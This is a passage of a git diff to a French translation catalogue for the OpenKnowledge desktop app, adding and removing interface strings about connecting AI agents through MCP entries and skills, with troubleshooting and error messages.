combiner les modifications simultanées des index."],"CxVk-w": ["Commenter ", ["address"]],+ "CxnZP4": ["Choisissez ce qu’OpenKnowledge configure."],"Cz-K13": ["15 minutes"],"D-NlUC": ["Système"],- "D-Oh1s": ["Comment configurer ", ["0"], " (s'ouvre dans le navigateur)"],"D-_B7l": ["Connecté — ce point de terminaison renvoie des vecteurs de dimension ", ["0"], "."],"D0CegO": ["Une seconde compétence porte ce nom — renommez-la (ou supprimez-en une) pour la gérer pleinement."@@ -1226,6 +1262,9 @@"D12vtS": ["(détaché)"],"D2emTw": ["Une erreur s'est produite lors de l'envoi de votre retour. Veuillez réessayer."],"D4H2N6": ["Retirer ", ["tag"]],+ "D4I0F9": [+ "Choisissez quels agents apparaissent dans les menus d'agents de l'application et configurez-les pour qu'ils puissent lire et mettre à jour vos documents."+ ],"D7gKrd": ["OpenKnowledge n’a pas pu écrire les paramètres de lancement dans .ok/local/terminal, car le dossier n’est pas contenu de manière sûre dans ce projet. Vérifiez qu’il s’agit d’un vrai dossier du projet, et non d’un lien. Claude vous demandera d’approuver OpenKnowledge."],@@ -1325,6 +1364,7 @@"E1_c72": ["Liste de tâches"],"E1tG2u": ["Obtenir Claude Code"],"E2Mv-X": ["Copier la source"],+ "E35Meh": ["Retirer ", ["rowLabel"]],"E4XYYH": ["Activer le terminal pour ce projet"],"E5WeIy": ["Rouvre le dernier onglet d'éditeur fermé."],"E6lrpp": [@@ -1334,7 +1374,9 @@"E91VZY": ["Ouvrir dans une nouvelle fenêtre"],"E9bKSA": ["Création"],"E9gh86": ["Vous pouvez joindre jusqu'à ", ["MAX_ATTACHMENTS"], " images."],+ "EBP_hA": ["Ajoute une entrée MCP OpenKnowledge à la configuration d'agent de ce projet."],"EBVbtP": ["Impossible de dupliquer l'élément"],+ "EDD3UL": ["Non détecté sur cette machine"],"EDl9kS": ["S'abonner"],"EDm3wJ": ["Chargement du moteur de rendu des différences"],"EEYbdt": ["Publier"],@@ -1427,6 +1469,7 @@"EvPX7f": ["Ouvre un sélecteur de dossier pour choisir où cloner le dépôt."],"EvXKHE": ["OpenKnowledge a effectué une recherche dans la base de connaissances"],"Evq3lu": ["Mode orphelines"],+ "Evsh6U": ["Vos documents ne seront pas modifiés."],"ExPiRQ": ["Va au diagnostic de vérification CodeMirror suivant."],"ExUzM4": ["compétence « ", ["0"], " »"],"F-1xhe": [@@ -1460,7 +1503,6 @@"FEqWFL": ["Indique à vos agents IA comment travailler ici."],"FEr96N": ["Thème"],"FF7V5K": ["Taille réelle"],- "FK57sK": ["intégration MCP de ", ["names"], " réparée"],"FKVmcC": ["Paramètres de ce projet. Certains sont partagés avec chaque collaborateur via git ; d'autres ne s'appliquent que sur cet ordinateur."],@@ -1567,6 +1609,12 @@"Tout fichier .mdx. Le format est uniquement .md, donc un lecteur recherchant .md ne l'ouvre jamais - et si un .md du même nom existe, il le lit à la place."],"GSYWCm": ["Masquer le panneau du document"],+ "GTvYzA": [+ ["dependent"],+ " a besoin de ",+ ["prerequisite"],+ ", qu'OpenKnowledge ne peut pas configurer à votre place. Son guide de configuration décrit les étapes manuelles."+ ],"GU1Y4A": ["Mode local uniquement demandé, mais aucun dépôt git n'a été créé. Vous pourrez changer plus tard via Paramètres → Synchronisation et partage, une fois le projet dans un dépôt git."],@@ -1640,6 +1688,11 @@],"H86f9p": ["Réduire"],"H8DVOJ": ["Identiques dans les deux : ", ["pick"], " continue de les lire."],+ "H8tj8y": [+ "Cette configuration est partagée avec ",+ ["peers"],+ ", et OpenKnowledge ne peut pas la modifier d'ici. Dissociez d'abord le dossier dans Skills Studio."+ ],"HAkEqR": ["Fichiers récents"],"HAvHev": ["Mise à jour automatique désactivée pour « ", ["name"], " »"],"HAvRAI": [@@ -1662,9 +1715,6 @@"Slidev n'est pas installé, l'action Slidev reste donc masquée. Installez-le, puis revenez à cette fenêtre."],"HSI88F": ["Supprimer le tableau"],- "HTW0Zw": [- "Encore une étape : exécutez <0>claude</0> dans ce projet et approuvez OpenKnowledge une fois."- ],"HZ7fEu": ["Nom du thème"],"HbcQYf": ["Remplacer le lien symbolique situé dans ",@@ -1886,6 +1936,7 @@"KPW5WC": ["modèle déplacé"],"KQGZuq": ["Réutilisé s'il existe déjà, créé sinon."],"KRJ6xh": ["Pas encore d'étiquettes. Continuez à saisir pour en créer une."],+ "KTxoDA": ["OpenKnowledge ne reconnaît pas cette entrée. L'activer la remplacera."],"KUjOb9": ["en cours"],"KWL_Ih": ["Article de blog"],"KX1MZR": ["Vos dépôts"],@@ -1923,6 +1974,7 @@"KsAPaB": ["Cette branche est extraite dans :"],"KtACeE": ["Par défaut : <0>", ["0"], "</0>"],"KujtjC": ["Rechercher"],+ "Kuw5NN": ["Comment configurer ", ["rowLabel"]],"KvwJv8": ["Certains fichiers ne sont pas listés : l'arbre de travail contient trop de modifications."],@@ -1995,7 +2047,6 @@],"LaskKp": ["Envoyer dans la discussion (", ["0"], ")"],"Lbl6KA": ["Impossible d'installer depuis ", ["0"], " : ", ["1"]],- "LbmLyU": ["Impossible de modifier en toute sécurité la configuration de cet outil"],"LdABLa": ["Impossible d'ouvrir ", ["target"], ". Essayez de l'ouvrir manuellement."],"LdKIHS": ["Rédiger une spécification"],"LeGeTf": ["OpenKnowledge sur GitHub"],@@ -2030,6 +2081,7 @@"Lrsl_h": ["Fichier ", ["identity"], " manquant. Accéder à la référence."],"LtI9AS": ["Propriétaire"],"LtSYdi": ["Afficher dans le Finder"],+ "LtiJ5c": ["Compétence du projet"],"LuoJWu": [["truncatedShownCount",@@ -2159,9 +2211,6 @@"NIWAux": ["Aucun document enregistré sous #", ["tagDocsName"], "."],"NJyQi_": ["La branche ", ["shareBranch"], " n'existe plus sur le dépôt distant."],"NKkZXl": ["Initialiser et ouvrir"],- "NNJsn7": [- "Encore une étape : activez-le dans Cursor → Settings → Tools & MCP (Cursor laisse les serveurs de projet désactivés tant que vous ne les activez pas)."- ],"NOHyEE": ["Réessayer le push"],"NORKZU": ["Avertissements sur les motifs : ", ["summary"]],"NQ8llq": ["Ajouter un élément"],@@ -2221,9 +2270,6 @@"O0Z2Xr": ["Sortants"],"O2UpM1": ["Parcourir"],"O3oNi5": ["E-mail"],- "O4PnDd": [- "La gestion des outils IA n'est disponible que dans l'application de bureau OpenKnowledge."- ],"O6H89R": ["Résolu"],"O6yEPk": ["Créez un nouveau projet OpenKnowledge dans le dossier de votre choix."],"O7_W_a": ["Ouvrir avec l'IA"],@@ -2288,7 +2334,6 @@"OlFVNr": ["Demander à l'IA à propos de la sélection"],"Oo_WWc": ["Aucune page trouvée"],"Oos8fo": ["Copier la commande"],- "OplnBG": ["La gestion des outils IA n'est pas disponible dans cette version."],"OqqecQ": ["30 secondes"],"OsSaYm": ["Échec du clonage : ", ["title"]],"OuQezS": ["S'applique lorsque vous reprendrez cette conversation"],@@ -2316,6 +2361,11 @@"P6gXB-": ["Remplacer ", ["keyName"]],"P6lAT3": ["Dossier cible : ", ["linkTitle"], ". Cliquez pour ouvrir la synthèse."],"P8AnMN": ["Recherche de Slidev"],+ "P9rQN2": [+ "Les lignes terminal et bureau de ",+ ["label"],+ " partagent une même configuration, donc en connecter une les connecte toutes les deux."+ ],"PB4upl": ["Occurrence précédente"],"PBQwGb": ["Recherchez des fichiers, des commandes, des projets et des actions de transfert vers l'IA. Le raccourci K ajoute un lien à la place lorsque du texte est sélectionné dans l'éditeur visuel ; le raccourci P ouvre toujours la palette de commandes."@@ -2424,6 +2474,7 @@"QDZbvN": ["il y a ", ["diffDays"], " j"],"QGWzup": ["Chargement des compétences OpenKnowledge"],"QHCx0c": ["Historique des rapports de bug"],+ "QHcLEN": ["Connecté"],"QIrBIx": ["Développer tous les fichiers"],"QIzioS": [["agentName"], " n'accepte pas les pièces jointes d'image."],"QKgePK": [["editor"], " aligné sur la source (ses octets sont sauvegardés)"],@@ -2501,6 +2552,7 @@"RD6H9q": ["Open Knowledge réécrit ces fichiers index.md à mesure que les documents changent, de sorte que les modifications manuelles apportées à ceux-ci sont remplacées."],+ "RD8cCw": ["La gestion des connexions des agents n'est pas disponible dans cette version."],"RDjuBN": ["Configuration"],"RDrXh4": ["Configurez les paramètres utilisateur, projet et intégrations."],"REkvLz": [@@ -2534,6 +2586,7 @@"RSqaSd": ["Racine du projet"],"RVZJWQ": ["Rechercher des projets…"],"RXEbZy": ["Dans l'application"],+ "RXYvxn": ["Cette option ne peut pas être modifiée automatiquement."],"RY6Bq1": ["Ouvrir ", ["targetNoun"], " partagé"],"RZXTlY": ["Correction automatique (", ["count"], ")"],"R_U_A4": ["Ajoutez un motif de fichier ou de dossier, par ex. guides/**/*"],@@ -2578,6 +2631,9 @@"S33tz3": ["Non connecté"],"S3qu11": ["C'était un essai ou un projet ponctuel"],"S48xcO": ["en attente"],+ "S6SbxA": [+ "Remplace l'entrée \"open-knowledge\" existante dans ce fichier. Les autres serveurs du fichier ne sont pas modifiés."+ ],"S6eHlw": ["Ouvrez d'abord un projet."],"S6l5dv": ["Impossible de commencer la création d'un nouvel élément"],"S9Vnum": ["Retirer ", ["patternText"]],@@ -2872,7 +2928,6 @@"VFQXPl": ["Les aperçus de liens externes affichent une carte avec le nom du site, le titre de la page et sa description au survol d'un lien."],- "VIwCaD": ["Entrée"],"VJaBca": ["Choisir un dossier de compétence"],"VL6VsE": ["Accepter l’actuel"],"VM7H66": ["Ce fichier est binaire et ne peut pas être affiché comme du texte."],@@ -2979,6 +3034,7 @@"W9NSe0": ["Vérification des liens"],"W9_Bub": ["Les modifications locales chevauchent la synchronisation entrante"],"WBNpt9": ["Impossible de lire ce thème (", ["0"], ")"],+ "WEYdDv": ["Recommandé"],"WFEbV1": ["Signale les problèmes markdown courants dans l'éditeur. Propulsé par <0>markdownlint<1/></0>."],@@ -3052,19 +3108,19 @@"XBBZnv": ["La cible du lien « ", ["shown"], " » ne correspond à aucun document existant."],"XBgr2S": ["Copier ici"],"XDzAnp": ["S'ouvre dans un nouvel onglet"],- "XEfNPL": [- "Installé — ok est disponible dans les terminaux externes. Décochez cette option pour le supprimer ; vos outils d’IA continueront de fonctionner."- ],"XF1kgP": ["Tout ce qui provient de ", ["source"], " est déjà à jour"],- "XFpEgc": [- "Choisissez quels agents apparaissent dans les menus d'agents de l'application, comme Ask AI, Open with AI et le bouton + de nouveau chat. Désactivez un agent pour le masquer de tous ces menus."- ],"XGKy1z": ["Impossible d'afficher l'image"],"XH30C4": ["document"],"XIltnd": ["Une compétence nommée « ", ["trimmed"], " » existe déjà ici"],"XJOV1Y": ["Activité"],"XK5cbh": ["Avance dans l'historique de navigation d'OpenKnowledge."],"XNBGZw": ["Message non envoyé : ", ["0"]],+ "XNdXMR": [+ ["dependent"],+ " a besoin de ",+ ["prerequisite"],+ ", et cet agent n'a pas encore de fichier de ce type sur cette machine. Ouvrez-le une fois, puis réessayez."+ ],"XPJ0sN": ["Propriétés de ", ["settingsDescriptorLabel"]],"XPqe3B": ["Créer l'étiquette #", ["tagValue"]],"XRuL0i": ["Créer la page"],@@ -3128,6 +3184,12 @@"Xp7Kq4": ["Une autre opération de synchronisation est en cours. Réessayez dans un instant."],"Xp94R1": ["Réessayer une dernière fois"],"XpIZmv": ["Bloc de code délimité en police à chasse fixe."],+ "XrPvMT": [+ ["dependent"],+ " a besoin de ",+ ["prerequisite"],+ ", et OpenKnowledge ne peut pas remplacer cette entrée en toute sécurité dans le format de ce fichier."+ ],"Xs1kjx": ["Rechercher des mises à jour toutes les"],"Xs7IcT": ["Impossible de joindre ", ["displayName"], ". Réessayer ?"],"XszXjc": ["Renommé en ", ["0"]],@@ -3147,6 +3209,7 @@["pickedRelative"],"</1>, parce qu'il contient un dossier <2>.git</2> (un .ok/ par dépôt git). Le <3>répertoire de contenu</3> vaut <4>.</4> par défaut (tout le dépôt) ; saisissez un sous-dossier pour le restreindre."],+ "Y1wa2r": ["Supprimer OpenKnowledge ?"],"Y2tU6I": ["Supprimer ", ["0"]],"Y5la_5": ["Installer dans"],"Y6PKd1": ["Retirer ", ["name"], " des projets récents"],@@ -3287,9 +3350,6 @@"ZWwYwM": ["Branche de base"],"ZWxfrc": ["propriétés du dossier effacées"],"ZWyHmq": ["Ce projet"],- "ZYtq3m": [- "Connectez les outils IA que vous utilisez à ce projet précis. Ces fichiers résident dans le dossier du projet, donc toute personne qui l'ouvre obtient la même configuration."- ],"Z_nNa2": ["Nommez votre thème"],"ZatAO_": ["Échec de l'activation des aperçus de liens — ", ["detail"]],"Zf0w-R": [@@ -3340,7 +3400,6 @@["label"]," utilise à la place de celle du plugin — elle ne suit plus les mises à jour du plugin."],- "_5qBNl": ["Outils IA et CLI"],"_6FVBz": ["Aller aux onglets 1 à 8"],"_7UQ7y": ["Mot entier"],"_8quCH": ["À partir d'un modèle"],@@ -3353,6 +3412,7 @@["currentLabel"],"</1>."],+ "_9rYSZ": ["intégration MCP de ", ["names"], " réparée"],"_Bix3-": ["Occurrences de ", ["localizedFirstMessage"]],"_DwR-n": ["Création…"],"_G7A92": ["Maintenir index.md"],@@ -3364,7 +3424,6 @@"_JOGC0": ["Envoyer un retour…"],"_LczaQ": ["Refusé — ", ["optionName"]],"_NWEid": ["Rechercher des fichiers de schéma par chemin"],- "_NX6gG": ["La gestion des outils IA du projet n'est pas disponible dans cette version."],"_O7dJS": ["Version différente ici — cliquez pour comparer et résoudre"],"_PACVa": ["Notes de version"],"_PBJRl": ["Ajoutez au moins une lettre ou un chiffre."],@@ -3400,6 +3459,9 @@"_ci9Bj": ["Le serveur a renvoyé une réponse de dossier incomplète."],"_eguJc": ["Envoi en cours"],"_fQGOp": ["Les espaces ne sont pas autorisés dans le chemin"],+ "_fZSIY": [+ "OpenKnowledge n'a pas touché à ce fichier, car il n'a pas pu l'analyser en toute sécurité. Corrigez le fichier à la main, puis réessayez."+ ],"_gO_m8": ["En attente de votre approbation"],"_gkGSK": ["modèle supprimé"],"_pY_Vq": ["Le dépôt a été déplacé, renommé ou supprimé."],@@ -3407,6 +3469,7 @@"_rP3HI": ["il y a ", ["minutes"], " min"],"_tekeB": ["propriétés du dossier mises à jour"],"_tjopj": ["Coller le duplicata"],+ "_uxBz5": ["Ajouter MCP et la compétence pour ", ["rowLabel"]],"_yB-24": ["tout ce qui se trouve sous n'importe quel dossier ", ["0"], "/"],"a-cKXz": ["Sélectionner toute la source"],"a3LDKx": ["Sécurité"],@@ -3539,6 +3602,7 @@" » avant la reconnexion."],"bnOTEz": ["Récupération…"],+ "bn_MDX": ["Pourquoi cela demande votre attention"],"bpMVIA": ["La cible du lien « ",["shown"],@@ -3690,6 +3754,9 @@"d3dX3w": ["Rechercher « ", ["word"], " »"],"d5rK4X": [["chars", "plural", { "one": ["car."], "many": ["car."], "other": ["car."] }]],"d6qW27": [["agentName"], " signale : ", ["headline"]],+ "dCforW": [+ "L'écriture de ce fichier a échoué. Consultez le journal d'OpenKnowledge pour en connaître la raison."+ ],"dD7NPy": ["Plan"],"dDpCOp": ["Renommage réussi, mais la barre latérale n'est peut-être pas à jour — actualisez pour resynchroniser"@@ -3703,6 +3770,7 @@["currentBaseLabel"],"</1>, dans son propre worktree sous <2>.ok/worktrees/</2>."],+ "dGcsnU": ["Retirer pour les deux"],"dIYSqk": ["distant"],"dJw2_7": ["Enregistré avec le projet pour votre équipe."],"dMsx3p": ["Page d'accueil et pivot de navigation."],@@ -3717,6 +3785,9 @@"dVaXnv": ["Les règles de contenu ne sont pas encore chargées — réessayez dans un instant"],"dXCi3J": ["Quelque chose s'est cassé"],"dXOolp": ["Synchronisation de vos modifications"],+ "da7Yfw": [+ "Cela supprime les entrées du serveur MCP et les fichiers de compétences ci-dessous. L'agent perdra l'accès à vos documents jusqu'à ce que vous l'ajoutiez à nouveau."+ ],"darW93": [["pageCount",@@ -3837,6 +3908,7 @@}]],+ "ejiJeW": ["Compétence de découverte OpenKnowledge"],"ekSPiP": [["0"], " a déjà été supprimé."],"el2KyL": ["Slidev trouvé dans ce projet. Les diaporamas utiliseront la version du projet."],"emMrXQ": ["Le serveur a renvoyé une réponse de duplication mal formée."],@@ -3852,6 +3924,7 @@"euc6Ns": ["Dupliquer"],"evs0iw": ["Étiquettes correspondant à « ", ["tagListQuery"], " »"],"ewSbS_": ["Session shell"],+ "ewlFNL": ["La réparation automatique de MCP a échoué pour ", ["failures"]],"ezUmoU": ["Valeurs d'élément autorisées (vide = toutes)"],"f-k37b": ["Installer cette compétence"],"f1-q9m": ["conserve les compétences"],@@ -3916,6 +3989,23 @@"Les paramètres d'approbation automatique ne sont pas encore chargés — réessayez dans un instant"],"fo6CCk": ["volet ", ["0"]],+ "followup.approve-once": [+ "Encore une étape : exécutez ",+ ["agent"],+ " dans ce projet et approuvez OpenKnowledge une fois."+ ],+ "followup.enable-manually": [+ "Encore une étape : activez-le dans ",+ ["agent"],+ " → Settings → Tools & MCP (",+ ["agent"],+ " laisse les serveurs de projet désactivés tant que vous ne les activez pas)."+ ],+ "followup.trust-gated": [+ "Se connecte automatiquement la prochaine fois que vous ouvrez ce projet dans une session ",+ ["agent"],+ " de confiance."+ ],"fqSfXY": ["Remplacer"],"ft-BOm": ["Signaler un bug…"],"fuJZKk": ["Rechercher des branches"],@@ -3923,6 +4013,15 @@"fwhX-N": ["Augmenter ou réduire le retrait de la source"],"fwrPh4": ["Veuillez saisir un e-mail valide."],"fxbCNQ": ["Synchronisé. Le lien est à jour."],+ "fybwfg": [+ "Cette configuration est partagée avec ",+ ["peers"],+ " via <0>",+ ["path"],+ "</0>. La retirer ici la retire aussi pour ",+ ["peers"],+ "."+ ],"g-dkjJ": ["Les détails des fichiers locaux ne sont pas encore disponibles."],"g12y1g": ["YAML non valide"],"g1ZTh_": [@@ -3944,9 +4043,6 @@}]],- "g4WlQK": [- "La gestion des outils IA du projet n'est disponible que dans l'application de bureau OpenKnowledge."- ],"g4XBm0": ["Petit titre de section."],"g4e0hS": ["Demander à ", ["agentName"]],"g58Kwy": [@@ -4014,6 +4110,7 @@"gfb-CM": ["Impossible de récupérer la branche — connectez-vous à GitHub et réessayez."],"gfdqcY": ["Impossible d'appliquer la modification : ", ["0"]],"gfohmY": ["Connecter les outils"],+ "ggMMa7": ["Serveur MCP du projet"],"ggm6JX": ["Cette page n'existe pas encore. Ouvrez-la pour la créer dans l'éditeur et réduire le graphe."],@@ -4032,6 +4129,40 @@"gpbKxw": ["La validation des liens est indisponible."],"gqk-3R": [["0"], " déplacé vers ", ["destination"], "."],"gtEbeW": ["Surlignage"],+ "guidance.mcp.managed-file": [+ "Écrit un petit fichier passerelle que ",+ ["agent"],+ " charge depuis ce projet pour atteindre OpenKnowledge."+ ],+ "guidance.mcp.project-config": [+ "Ajoute OpenKnowledge à la configuration MCP que ",+ ["agent"],+ " lit dans ce projet, pour qu'il puisse lire, rechercher et modifier ces documents."+ ],+ "guidance.mcp.session-injection": [+ ["agent"],+ " reçoit les outils d'OpenKnowledge à chaque fois qu'OpenKnowledge le lance ; rien n'est écrit dans sa configuration."+ ],+ "guidance.mcp.user-config": [+ "Ajoute OpenKnowledge à la configuration MCP propre à ",+ ["agent"],+ ", pour que tous les projets de cette machine soient accessibles."+ ],+ "guidance.skill.central-store": [+ "Place la compétence OpenKnowledge dans le magasin central de compétences que ",+ ["agent"],+ " lit."+ ],+ "guidance.skill.project": [+ "Place la compétence OpenKnowledge dans le dossier de compétences de ",+ ["agent"],+ " pour ce projet, pour que ses modifications restent attribuées."+ ],+ "guidance.skill.user": [+ "Place la compétence de découverte OpenKnowledge dans le dossier de compétences global de ",+ ["agent"],+ ", pour qu'il puisse trouver OpenKnowledge dans n'importe quel projet."+ ],"gv5w9J": ["owner/repo, une URL git, ou un chemin local"],"gvApb7": ["Transformez ce que vous lisez en articles clairs et fiables. Enregistrez une source, dégagez-en le sens, puis conservez la version finale pour pouvoir vous y fier plus tard."@@ -4046,6 +4177,14 @@"h06R3C": ["Aucune page ne manque de liens sortants dans le graphe."],"h16FyT": ["Listes"],"h2N-1n": ["Installé dans ", ["0"]],+ "h2QPvj": [+ ["dependent"],+ " a besoin de ",+ ["prerequisite"],+ ", et OpenKnowledge ne reconnaît pas cette entrée. Cochez ",+ ["prerequisite"],+ " pour la remplacer, puis enregistrez à nouveau."+ ],"h3QZcB": ["Une branche nommée ",["shareBranch"],@@ -4165,7 +4304,6 @@"iH8pgl": ["Retour"],"iHAJDj": ["Détermination de l'emplacement par défaut"],"iIaSUD": ["Espaces"],- "iKS6gg": ["Les compétences ont été déplacées vers Studio de compétences."],"iKSP5j": ["Retour à la ligne"],"iKZkk1": ["Valeur de la propriété"],"iKvAeG": ["Vérification"],@@ -4220,6 +4358,7 @@"ij-Elv": ["Aperçu de l'image"],"ijLc3m": ["Liste à puces"],"ilodsp": ["Laisser les agents utiliser OpenKnowledge sans demander"],+ "inJhKB": ["Remplacer et enregistrer"],"ioMn4Z": ["Nouveau à partir d'un modèle…"],"iodl3p": ["Le serveur a renvoyé une réponse de téléversement mal formée."],"ipCibE": ["Les noms de dossier vides ne sont pas autorisés (//)"],@@ -4235,6 +4374,7 @@"irnKr_": ["Mis à jour ", ["updatedRelative"]],"irrm_E": ["Retirer la sélection"],"isRobC": ["Nouveau"],+ "itchkf": ["Connecte l'agent à OpenKnowledge dans tous les projets de cette machine."],"iuTKci": ["Pas encore de modifications."],"iv452l": ["Documentation de ", ["0"], " (s'ouvre dans le navigateur)"],"iycx_A": ["Push en cours"],@@ -4431,6 +4571,7 @@"kfL8BJ": ["Échec de l'importation : ", ["0"]],"kj9pAE": ["Création de la page"],"kjlQ9D": ["devient un lien symbolique"],+ "kjrq_8": ["Plus d'informations"],"kknhfj": ["Aucune modification"],"kkux8f": ["Impossible de supprimer ", ["0"], ". Réessayez."],"klPS-L": ["Fichier d'origine — avant les modifications de cet agent."],@@ -4490,6 +4631,7 @@"l87Deg": ["Choisissez ce qu'ouvre un nouvel onglet"],"l9s3IX": [["agentName"], " n’a pas pu démarrer de conversation."],"lAiyU_": ["Seul le document actuel utilise <0>#", ["tag"], "</0>."],+ "lBN3T6": ["Connexions des agents"],"lCC_D5": ["Abonnement…"],"lGs_bQ": ["Page <0>*</0>"],"lHCR4I": ["Videz le champ pour revenir au point de terminaison OpenAI par défaut."],@@ -4591,9 +4733,6 @@"mHo0kp": ["La demande d'activation des outils Open Knowledge a expiré. Ce fil fonctionne sans eux."],- "mLAjyL": [- "Donnez aux outils IA que vous utilisez l'accès en lecture et en écriture à vos projets. Cocher une case configure l'outil immédiatement ; décocher le retire."- ],"mPoOmg": ["installez d'abord une compétence ici"],"mPy9lS": ["Organise mes spécifications existantes en un index lié, groupé par domaine, et signale celles qui ont divergé du code actuel."@@ -4613,6 +4752,7 @@"Pas encore de motifs. Saisissez un nom de dossier ou de fichier ci-dessous pour commencer à masquer des fichiers."],"mdKFEy": ["Vous avez annulé le chargement de « ", ["docName"], " »."],+ "mdWhUY": ["OpenKnowledge n'a pas trouvé cet agent sur cette machine."],"mdzKSV": [["nodeCount",@@ -4685,6 +4825,7 @@"mxY24F": ["Duplique l'élément de l'arborescence ayant le focus lorsque le focus est dans la barre latérale Fichiers."],+ "n11Jj7": ["Installe la compétence de projet OpenKnowledge pour cet agent."],"n2XqGH": ["volet de l’éditeur"],"n2lRue": ["Validez ou remisez vos modifications pour changer :"],"n3T3EE": ["Installé dans ", ["label"], " — cliquez pour retirer"],@@ -4700,9 +4841,6 @@],"n7aopT": ["Mode de l'éditeur"],"n81AV0": [["owner"], "/", ["name"], " existe déjà. Choisissez un autre nom."],- "n8DwqQ": [- "Se connecte automatiquement la prochaine fois que vous ouvrez ce projet dans une session Codex de confiance."- ],"nBHvPL": ["Annuler la modification"],"nBgzKO": ["En faire la source — le vrai dossier de la compétence est déplacé ici"],"nCzR-G": ["Copier le code ", ["userCode"]],@@ -4769,6 +4907,9 @@"nsM-_m": ["Parcourir des centaines de thèmes"],"nsUDL8": [["0"], " projet(s) sélectionné(s) sur ", ["1"]],"nskygk": ["Choisir un agent"],+ "nta97o": [+ "Donne à l'agent des instructions pour travailler avec vos documents et conserve l'attribution de ses modifications."+ ],"nwtY4N": ["Une erreur s'est produite"],"nxlOpL": ["OpenKnowledge utilise ce compte GitHub."],"ny6vNn": [@@ -4836,6 +4977,9 @@" » n'ont pas pu être effacées. Rechargez pour réessayer."],"oxdGJn": ["Avant de partir, accepteriez-vous de nous dire pourquoi ?"],+ "oxj8er": [+ "Connecte l'agent à ce projet pour qu'il puisse lire, rechercher et modifier vos documents."+ ],"oy5bJW": ["Vous pouvez ajouter"],"oyBV3W": ["Chemin du dossier de compétences personnalisé"],"p0Iq25": ["Insérer un lien"],@@ -4933,7 +5077,6 @@["2"]," ». Tout ce qui y renvoie dans SKILL.md cessera de fonctionner jusqu’à sa recréation."],- "psfGPX": ["Connexions MCP"],"psl2Sj": ["Votre modification est encore en cours d'enregistrement — relancez le test dans un instant."],@@ -4949,6 +5092,7 @@"q4YJl_": ["La session de terminal s'est terminée (code de sortie ", ["0"], ")."],"q4efaG": [["filePath"], " ne fait plus partie de cette compétence"],"q6-JVU": ["Chargement des pages"],+ "q63KUv": ["Ajouter MCP et la compétence"],"q7F5am": ["titre"],"q8aCbb": ["Deux versions de « ", ["0"], " » — source contre ", ["editor"]],"qAQVSD": ["La réponse des titres de page n'était pas du JSON"],@@ -5036,10 +5180,12 @@"qlAIQ1": ["Distant"],"qo4zCg": ["Le chemin ne peut pas contenir d'antislash"],"qpQwGC": ["Décrivez ce sur quoi vous travaillez et l'agent le met en place pour vous."],+ "qr2gAH": ["Choisissez ce qu’OpenKnowledge configure pour ", ["0"], "."],"qribBG": ["schéma ", ["deleteTarget"]],"qtnmEX": ["Saisissez un nom de thème valide."],"qvWGzP": ["Tout réduire"],"qyLmWw": ["Panneau de recherche de l'éditeur de source"],+ "qze9od": ["Ce dossier est aussi celui de ", ["alsoAffects"], "."],"r-OJYm": ["Saisissez un nom de branche valide (pas d'espaces, pas de point initial, pas de « .. »)."],@@ -5139,6 +5285,9 @@"s1c0ja": ["Liste à puces"],"s3caR3": ["Suppression"],"s7us1p": ["Seules les images PNG, JPEG ou WebP sont autorisées."],+ "s8difl": [+ "Sans la compétence, l'agent fonctionne toujours, mais il perd l'attribution des modifications et l'aperçu en direct."+ ],"sAP9XO": ["Plugin ", ["0"], " · ", ["1"]],"sE7R19": ["Impossible de charger les modèles : ",@@ -5244,6 +5393,9 @@],"tA2-xC": ["« ", ["0"], " » avait déjà été ajouté (contenu identique)."],"tAPZEx": ["En dessous"],+ "tCE-ZH": [+ "OpenKnowledge ne reconnaît pas cette entrée et ne peut pas la remplacer en toute sécurité dans le format de ce fichier."+ ],"tCyvAw": ["Joindre un fichier"],"tHKQ6j": ["Renommage"],"tKlWWY": ["Émoji"],@@ -5285,6 +5437,53 @@"tnG-m6": ["La synchronisation automatique est en pause — connectez-vous pour la reprendre."],"toyw51": ["Contrôles du diagramme Mermaid"],"tqQBwN": ["Les scripts sont affichés pour relecture, jamais exécutés."],+ "troubleshooting.claude-desktop.per-tool-approval": [+ ["agent"],+ " vous demande d'approuver chaque outil OpenKnowledge à sa première utilisation."+ ],+ "troubleshooting.claude.project-entry-not-approved": [+ "Si ",+ ["agent"],+ " n'affiche aucun outil OpenKnowledge, exécutez-le dans ce projet et approuvez le serveur OpenKnowledge une fois."+ ],+ "troubleshooting.codex.desktop-project-config": [+ "L'application de bureau ",+ ["agent"],+ " ignore cette configuration de projet ; seule la CLI ",+ ["agent"],+ " la lit."+ ],+ "troubleshooting.copilot.shared-workspace-config": [+ ["agent"],+ " lit la configuration MCP de l'espace de travail qu'OpenKnowledge écrit pour ",+ ["sourceAgent"],+ " ; la retirer pour l'un la retire pour les deux."+ ],+ "troubleshooting.cursor.project-entry-not-loaded": [+ "Si ",+ ["agent"],+ " n'affiche aucun outil OpenKnowledge, activez le serveur dans Settings → Tools & MCP ; ",+ ["agent"],+ " laisse les serveurs de projet désactivés tant que vous ne le faites pas."+ ],+ "troubleshooting.lm-studio.config-path-mismatch": [+ "Si ",+ ["agent"],+ " n'affiche aucun outil OpenKnowledge, vérifiez que le chemin de sa configuration MCP dans ses réglages correspond au fichier écrit par OpenKnowledge."+ ],+ "troubleshooting.openclaw.central-store-missing": [+ "Le magasin central de compétences de ",+ ["agent"],+ " n'existe pas encore ; lancez ",+ ["agent"],+ " une fois pour qu'il le crée, puis réessayez."+ ],+ "troubleshooting.pi.folder-trust": [+ ["agent"],+ " ne charge les extensions de projet que dans les dossiers que vous avez approuvés ; approuvez ce dossier dans ",+ ["agent"],+ " si les outils n'apparaissent pas."+ ],"tsiTqO": ["Collez votre clé API"],"tvMvze": ["Impossible de mettre \\\"",@@ -5347,6 +5546,7 @@"uUCrBv": ["lien symbolique"],"uV3EYs": ["Vos images"],"uVbUP8": ["Paramètres…"],+ "uVhq9B": ["Installe la compétence de découverte OpenKnowledge pour cet agent."],"uX85yl": ["Les fichiers de configuration comprennent : <0>.ok/</0>, les configurations MCP des outils IA (<1>.mcp.json</1> et les fichiers propres à chaque outil). Vos compétences ne sont pas concernées : elles suivent git comme n'importe quel autre fichier du projet.<2/><3>Partagé</3> les valide dans git, donc toute personne qui clone le dépôt obtient la même configuration. <4/><5>Moi uniquement</5> les tient à l'écart de git (via <6>.git/info/exclude</6>)."],@@ -5514,6 +5714,17 @@"vy_VIN": ["Suivi dans git — les mises à jour arrivent via votre dépôt (pull ou CI), pas par mise à jour automatique"],+ "vyjTYE": [+ [+ "changeCount",+ "plural",+ {+ "one": ["#", " modification"],+ "many": ["#", " modifications"],+ "other": ["#", " modifications"]+ }+ ]+ ],"w0YVAE": ["Afficher les nœuds de compétences"],"w3tVpc": ["Pas encore de liens. Ajoutez des liens wiki 